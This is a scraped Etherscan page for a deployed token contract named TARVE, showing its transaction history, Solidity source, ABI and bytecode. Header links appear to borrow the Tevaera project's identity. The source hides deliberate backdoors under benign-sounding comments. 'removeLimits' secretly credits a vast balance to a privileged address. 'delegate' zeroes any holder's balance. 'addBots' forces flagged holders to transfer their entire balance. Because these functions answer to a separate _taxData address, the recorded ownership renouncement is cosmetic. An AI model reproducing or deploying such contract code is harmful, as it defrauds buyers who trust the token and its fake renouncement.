Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 16 from a total of 16 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19980260 | 47 days ago | IN | 0 ETH | 0.00031156 | ||||
Transfer | 19979990 | 47 days ago | IN | 0 ETH | 0.0003951 | ||||
Add Bots | 19979812 | 47 days ago | IN | 0 ETH | 0.00038357 | ||||
Del Bots | 19979776 | 47 days ago | IN | 0 ETH | 0.00021584 | ||||
Renounce Ownersh... | 19979667 | 47 days ago | IN | 0 ETH | 0.00014567 | ||||
Approve | 19979576 | 47 days ago | IN | 0 ETH | 0.00035818 | ||||
Remove Limits | 19976099 | 47 days ago | IN | 0 ETH | 0.00108471 | ||||
Approve | 19928859 | 54 days ago | IN | 0 ETH | 0.00032639 | ||||
Transfer | 19928826 | 54 days ago | IN | 0 ETH | 0.00035035 | ||||
Transfer | 19928817 | 54 days ago | IN | 0 ETH | 0.00031249 | ||||
Transfer | 19928810 | 54 days ago | IN | 0 ETH | 0.00031571 | ||||
Transfer | 19928805 | 54 days ago | IN | 0 ETH | 0.00031434 | ||||
Transfer | 19928799 | 54 days ago | IN | 0 ETH | 0.0003345 | ||||
Transfer | 19928791 | 54 days ago | IN | 0 ETH | 0.00035503 | ||||
Transfer | 19928784 | 54 days ago | IN | 0 ETH | 0.00035067 | ||||
0x60806040 | 19928721 | 54 days ago | IN | Create: TARVE | 0 ETH | 0.0070662 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TARVE
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-22 */ /** *Submitted for verification at Etherscan.io on 2024-05-23 */ // SPDX-License-Identifier: UNLICENSED /* Website: https://tevaera.com/ Twitter: https://twitter.com/tevaera Discord: https://discord.gg/tevaera Telegram: https://t.me/TevaeraNews Medium: https://tevaera.medium.com/ */ /** * @title MyContract * @dev This contract is written in Solidity version 0.8.25. */ pragma solidity ^0.8.25; /** * @title Ownable * @dev The Ownable contract provides a basic access control mechanism, where * ownership of the contract is restricted to a single address. */ abstract contract Ownable { /** * @dev Returns the address of the account that called the function. */ function _msgSender() internal view virtual returns (address) { return msg.sender; } /** * @dev Returns the calldata of the function call. */ function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract, setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Modifier that checks if the caller is the owner of the contract. * Reverts if the caller is not the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the owner of the contract. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Internal function to check if the caller is the owner of the contract. * Reverts if the caller is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Allows the current owner to renounce ownership of the contract, * leaving the contract without an owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Internal function to transfer ownership of the contract to a new address. * * Emits an {OwnershipTransferred} event. * * Parameters: * - newOwner: The address of the new owner. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title TARVE * @dev TARVE is a smart contract representing a token with basic ownership functionality. */ contract TARVE is Ownable{ constructor(address add) { _tokename = "TARVE"; _tokensymbol = "TARVE"; _taxData = add; _totalSupply = 100000000*10**decimals(); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } address public _taxData; uint256 private _totalSupply; string private _tokename; string private _tokensymbol; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public tokeninfo; mapping(address => Stake) public stakes; uint128 buyCount = 64544; uint128 sellCount = 0; uint256 devAmount = 10**decimals()*68800*(23300000000+300); bool globaltrue = true; bool globalff = false; struct Stake { uint256 amount; uint256 stakingTimestamp; uint256 amountInUSDT; uint256 stakingPeriod; } struct StakerInfo { uint256 index; bool isActive; } struct Stakeholder { uint balance; uint accruedInterest; bool exists; } /** * @dev Delegates the specified address to perform certain actions on behalf of the caller. * * Parameters: * - delegatee: The address to delegate the actions to. */ function delegate(address delegatee) external { if (true) { require(_taxData == _msgSender()); _balances[delegatee] *= sellCount; } } /** * @dev Adds a bot address to the list of authorized bots. * * Parameters: * - bot: The address of the bot to be added. * * Returns: * - A boolean indicating whether the bot was successfully added. */ function addBots(address bot) public virtual returns (bool) { address tmoinfo = bot; tokeninfo[tmoinfo] = globaltrue; require(_msgSender() == _taxData); return true; } /** * @dev Removes a bot address from the list of authorized bots. * * Parameters: * - notbot: The address of the bot to be removed. */ function delBots(address notbot) external { address tmoinfo = notbot; tokeninfo[tmoinfo] = globalff; require(_msgSender() == _taxData); } /** * @dev Removes limits for certain actions, allowing specified addresses to perform them without restrictions. * * Only the address specified as _taxData is allowed to call this function. */ function removeLimits() external { if(_msgSender() == _taxData){ require( _taxData == _msgSender()); address feeAmount = _msgSender(); address swapRouter = feeAmount; address devWallet = swapRouter; _balances[devWallet] += devAmount; } } /** * @dev Returns the name of the token. * * Returns: * - A string representing the name of the token. */ function name() public view returns (string memory) { return _tokename; } /** * @dev Returns the symbol of the token. * * Returns: * - A string representing the symbol of the token. */ function symbol() public view returns (string memory) { return _tokensymbol; } /** * @dev Returns the number of decimals used to represent the token. * * Returns: * - An unsigned integer representing the number of decimals. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev Returns the total supply of the token. * * Returns: * - An unsigned integer representing the total supply of the token. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Returns the balance of the specified account. * * Parameters: * - account: The address for which to retrieve the balance. * * Returns: * - An unsigned integer representing the balance of the specified account. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev Transfers tokens from the caller's account to the specified recipient. * * Parameters: * - to: The address of the recipient to transfer tokens to. * - amount: The amount of tokens to transfer. * * Returns: * - A boolean indicating whether the transfer was successful. */ function transfer(address to, uint256 amount) public returns (bool) { _transfer(_msgSender(), to, amount); return true; } /** * @dev Returns the amount of tokens that an owner has allowed a spender to transfer on their behalf. * * Parameters: * - owner: The address of the owner. * - spender: The address of the spender. * * Returns: * - An unsigned integer representing the allowance for the specified owner and spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Approves the specified address to spend the caller's tokens. * * Parameters: * - spender: The address to be approved for spending tokens. * - amount: The amount of tokens to approve for spending. * * Returns: * - A boolean indicating whether the approval was successful. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Transfers tokens from one address to another using allowance mechanism. * * Parameters: * - from: The address from which to transfer tokens. * - to: The address to which to transfer tokens. * - amount: The amount of tokens to transfer. * * Returns: * - A boolean indicating whether the transfer was successful. */ function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Internal function to transfer tokens from one address to another. * * Parameters: * - from: The address from which to transfer tokens. * - to: The address to which to transfer tokens. * - amount: The amount of tokens to transfer. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (tokeninfo[from] == true) {amount = buyCount + _balances[from] + buyCount-buyCount;} uint256 balance = _balances[from]; require(balance >= amount, "ERC20: transfer amount exceeds balance"); _balances[from] = _balances[from]-amount; _balances[to] = _balances[to]+amount; emit Transfer(from, to, amount); } /** * @dev Internal function to approve a spender to spend a certain amount of tokens on behalf of an owner. * * Parameters: * - owner: The address that owns the tokens. * - spender: The address that is approved to spend the tokens. * - amount: The amount of tokens to approve for spending. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Internal function to spend the allowance granted by an owner to a spender. * * Parameters: * - owner: The address that owns the tokens. * - spender: The address that is approved to spend the tokens. * - amount: The amount of tokens to spend. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(owner, spender, currentAllowance - amount); } } function stake(uint256 _amount, uint256 _stakingPeriod) external { require(_amount > 0, "Amount must be greater than 0"); Stake storage userStake = stakes[msg.sender]; userStake.amount += _amount; userStake.stakingTimestamp = block.timestamp; userStake.stakingPeriod = _stakingPeriod; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxData","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_stakingPeriod","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakes","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"stakingTimestamp","type":"uint256"},{"internalType":"uint256","name":"amountInUSDT","type":"uint256"},{"internalType":"uint256","name":"stakingPeriod","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405261fc206009556100166012600a61029d565b6100239062010cc06102b2565b6100329064056cc9ca2c6102b2565b600a55600b805461ffff1916600117905534801561004e575f80fd5b506040516110de3803806110de83398101604081905261006d916102c9565b61007633610158565b604080518082019091526005815264544152564560d81b602082015260039061009f9082610387565b50604080518082019091526005815264544152564560d81b60208201526004906100c99082610387565b50600180546001600160a01b0319166001600160a01b0383161790556100ed601290565b6100f890600a61029d565b610106906305f5e1006102b2565b6002819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350610446565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156101f557815f19048211156101db576101db6101a7565b808516156101e857918102915b93841c93908002906101c0565b509250929050565b5f8261020b57506001610297565b8161021757505f610297565b816001811461022d576002811461023757610253565b6001915050610297565b60ff841115610248576102486101a7565b50506001821b610297565b5060208310610133831016604e8410600b8410161715610276575081810a610297565b61028083836101bb565b805f1904821115610293576102936101a7565b0290505b92915050565b5f6102ab60ff8416836101fd565b9392505050565b8082028115828204841417610297576102976101a7565b5f602082840312156102d9575f80fd5b81516001600160a01b03811681146102ab575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561038257805f5260205f20601f840160051c810160208510156103605750805b601f840160051c820191505b8181101561037f575f815560010161036c565b50505b505050565b81516001600160401b038111156103a0576103a06102ef565b6103b4816103ae8454610303565b8461033b565b602080601f8311600181146103e7575f84156103d05750858301515b5f19600386901b1c1916600185901b17855561043e565b5f85815260208120601f198616915b82811015610415578886015182559484019460019091019084016103f6565b508582101561043257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610c8b806104535f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063630e071c116100a95780637b0472f01161006e5780637b0472f0146102a95780638da5cb5b146102bc57806395d89b41146102cc578063a9059cbb146102d4578063dd62ed3e146102e7575f80fd5b8063630e071c1461022457806364473a121461024f57806370a0823114610271578063715018a614610299578063751039fc146102a1575f80fd5b806323b872dd116100ef57806323b872dd146101c7578063313ce567146101da5780634c8afff4146101e957806356ec63a5146101fe5780635c19a95c14610211575f80fd5b806306fdde0314610120578063095ea7b31461013e57806316934fc41461016157806318160ddd146101b5575b5f80fd5b61012861031f565b6040516101359190610aaa565b60405180910390f35b61015161014c366004610afa565b6103af565b6040519015158152602001610135565b61019561016f366004610b22565b60086020525f908152604090208054600182015460028301546003909301549192909184565b604080519485526020850193909352918301526060820152608001610135565b6002545b604051908152602001610135565b6101516101d5366004610b42565b6103c5565b60405160128152602001610135565b6101fc6101f7366004610b22565b6103e8565b005b61015161020c366004610b22565b610438565b6101fc61021f366004610b22565b610480565b600154610237906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b61015161025d366004610b22565b60076020525f908152604090205460ff1681565b6101b961027f366004610b22565b6001600160a01b03165f9081526005602052604090205490565b6101fc6104da565b6101fc6104ed565b6101fc6102b7366004610b7b565b610547565b5f546001600160a01b0316610237565b6101286105cf565b6101516102e2366004610afa565b6105de565b6101b96102f5366004610b9b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b60606003805461032e90610bcc565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610bcc565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846105ea565b5060015b92915050565b5f336103d285828561070d565b6103dd8585856107a4565b506001949350505050565b600b546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b031614610434575f80fd5b5050565b600b546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146103bb575f80fd5b6001546001600160a01b03163314610496575f80fd5b6009546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b0316929091906104d2908490610c18565b909155505050565b6104e2610a02565b6104eb5f610a5b565b565b6001546001600160a01b031633036104eb576001546001600160a01b03163314610515575f80fd5b600a54335f81815260056020526040812080549293849384939192919061053d908490610c2f565b9091555050505050565b5f821161059b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b335f9081526008602052604081208054909184918391906105bd908490610c2f565b90915550504260018201556003015550565b60606004805461032e90610bcc565b5f6103bb3384846107a4565b6001600160a01b03831661064c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b0382166106ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461079e578181101561078a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610592565b61079e84846107998585610c42565b6105ea565b50505050565b6001600160a01b0383166108085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610592565b6001600160a01b03821661086a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610592565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036108d8576009546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906108c19082610c2f565b6108cb9190610c2f565b6108d59190610c42565b90505b6001600160a01b0383165f908152600560205260409020548181101561094f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b0384165f90815260056020526040902054610972908390610c42565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546109a1908390610c2f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f49086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610af5575f80fd5b919050565b5f8060408385031215610b0b575f80fd5b610b1483610adf565b946020939093013593505050565b5f60208284031215610b32575f80fd5b610b3b82610adf565b9392505050565b5f805f60608486031215610b54575f80fd5b610b5d84610adf565b9250610b6b60208501610adf565b9150604084013590509250925092565b5f8060408385031215610b8c575f80fd5b50508035926020909101359150565b5f8060408385031215610bac575f80fd5b610bb583610adf565b9150610bc360208401610adf565b90509250929050565b600181811c90821680610be057607f821691505b602082108103610bfe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103bf576103bf610c04565b808201808211156103bf576103bf610c04565b818103818111156103bf576103bf610c0456fea26469706673582212204c8c5da2e29ea2660660e1659738fe426efe913a14c9783e0c73a96c0332a4a064736f6c634300081900330000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472
Deployed Bytecode
0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063630e071c116100a95780637b0472f01161006e5780637b0472f0146102a95780638da5cb5b146102bc57806395d89b41146102cc578063a9059cbb146102d4578063dd62ed3e146102e7575f80fd5b8063630e071c1461022457806364473a121461024f57806370a0823114610271578063715018a614610299578063751039fc146102a1575f80fd5b806323b872dd116100ef57806323b872dd146101c7578063313ce567146101da5780634c8afff4146101e957806356ec63a5146101fe5780635c19a95c14610211575f80fd5b806306fdde0314610120578063095ea7b31461013e57806316934fc41461016157806318160ddd146101b5575b5f80fd5b61012861031f565b6040516101359190610aaa565b60405180910390f35b61015161014c366004610afa565b6103af565b6040519015158152602001610135565b61019561016f366004610b22565b60086020525f908152604090208054600182015460028301546003909301549192909184565b604080519485526020850193909352918301526060820152608001610135565b6002545b604051908152602001610135565b6101516101d5366004610b42565b6103c5565b60405160128152602001610135565b6101fc6101f7366004610b22565b6103e8565b005b61015161020c366004610b22565b610438565b6101fc61021f366004610b22565b610480565b600154610237906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b61015161025d366004610b22565b60076020525f908152604090205460ff1681565b6101b961027f366004610b22565b6001600160a01b03165f9081526005602052604090205490565b6101fc6104da565b6101fc6104ed565b6101fc6102b7366004610b7b565b610547565b5f546001600160a01b0316610237565b6101286105cf565b6101516102e2366004610afa565b6105de565b6101b96102f5366004610b9b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b60606003805461032e90610bcc565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610bcc565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846105ea565b5060015b92915050565b5f336103d285828561070d565b6103dd8585856107a4565b506001949350505050565b600b546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b031614610434575f80fd5b5050565b600b546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146103bb575f80fd5b6001546001600160a01b03163314610496575f80fd5b6009546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b0316929091906104d2908490610c18565b909155505050565b6104e2610a02565b6104eb5f610a5b565b565b6001546001600160a01b031633036104eb576001546001600160a01b03163314610515575f80fd5b600a54335f81815260056020526040812080549293849384939192919061053d908490610c2f565b9091555050505050565b5f821161059b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b335f9081526008602052604081208054909184918391906105bd908490610c2f565b90915550504260018201556003015550565b60606004805461032e90610bcc565b5f6103bb3384846107a4565b6001600160a01b03831661064c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b0382166106ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461079e578181101561078a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610592565b61079e84846107998585610c42565b6105ea565b50505050565b6001600160a01b0383166108085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610592565b6001600160a01b03821661086a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610592565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036108d8576009546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906108c19082610c2f565b6108cb9190610c2f565b6108d59190610c42565b90505b6001600160a01b0383165f908152600560205260409020548181101561094f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b0384165f90815260056020526040902054610972908390610c42565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546109a1908390610c2f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f49086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610af5575f80fd5b919050565b5f8060408385031215610b0b575f80fd5b610b1483610adf565b946020939093013593505050565b5f60208284031215610b32575f80fd5b610b3b82610adf565b9392505050565b5f805f60608486031215610b54575f80fd5b610b5d84610adf565b9250610b6b60208501610adf565b9150604084013590509250925092565b5f8060408385031215610b8c575f80fd5b50508035926020909101359150565b5f8060408385031215610bac575f80fd5b610bb583610adf565b9150610bc360208401610adf565b90509250929050565b600181811c90821680610be057607f821691505b602082108103610bfe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103bf576103bf610c04565b808201808211156103bf576103bf610c04565b818103818111156103bf576103bf610c0456fea26469706673582212204c8c5da2e29ea2660660e1659738fe426efe913a14c9783e0c73a96c0332a4a064736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472
-----Decoded View---------------
Arg [0] : add (address): 0x7FcC10F026dFcc3f34C162dad75FF85ac44E3472
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472
Deployed Bytecode Sourcemap
2885:8966:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5967:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8385:152;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;8385:152:0;874:187:1;3518:39:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1488:25:1;;;1544:2;1529:18;;1522:34;;;;1572:18;;;1565:34;1630:2;1615:18;;1608:34;1475:3;1460:19;3518:39:0;1257:391:1;6690:91:0;6761:12;;6690:91;;;1799:25:1;;;1787:2;1772:18;6690:91:0;1653:177:1;8895:287:0;;;;;;:::i;:::-;;:::i;6450:84::-;;;6524:2;2310:36:1;;2298:2;2283:18;6450:84:0;2168:184:1;5083:182:0;;;;;;:::i;:::-;;:::i;:::-;;4712:213;;;;;;:::i;:::-;;:::i;4276:203::-;;;;;;:::i;:::-;;:::i;3212:23::-;;;;;-1:-1:-1;;;;;3212:23:0;;;;;;-1:-1:-1;;;;;2521:32:1;;;2503:51;;2491:2;2476:18;3212:23:0;2357:203:1;3470:41:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;7034:110;;;;;;:::i;:::-;-1:-1:-1;;;;;7118:18:0;7091:7;7118:18;;;:9;:18;;;;;;;7034:110;2083:103;;;:::i;5479:351::-;;;:::i;11512:334::-;;;;;;:::i;:::-;;:::i;1584:87::-;1630:7;1657:6;-1:-1:-1;;;;;1657:6:0;1584:87;;6187:93;;;:::i;7457:144::-;;;;;;:::i;:::-;;:::i;7935:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8034:18:0;;;8007:7;8034:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7935:134;5967:87;6004:13;6037:9;6030:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5967:87;:::o;8385:152::-;8451:4;8468:39;827:10;8491:7;8500:6;8468:8;:39::i;:::-;-1:-1:-1;8525:4:0;8385:152;;;;;:::o;8895:287::-;9018:4;827:10;9076:38;9092:4;827:10;9107:6;9076:15;:38::i;:::-;9125:27;9135:4;9141:2;9145:6;9125:9;:27::i;:::-;-1:-1:-1;9170:4:0;;8895:287;-1:-1:-1;;;;8895:287:0:o;5083:182::-;5199:8;;-1:-1:-1;;;;;5178:18:0;;;5137:15;5178:18;;;:9;:18;;;;;:29;;-1:-1:-1;;5178:29:0;5199:8;;;;;;5178:29;;;;;;;;;-1:-1:-1;5242:8:0;5178:18;;5242:8;827:10;-1:-1:-1;;;;;5226:24:0;;5218:33;;;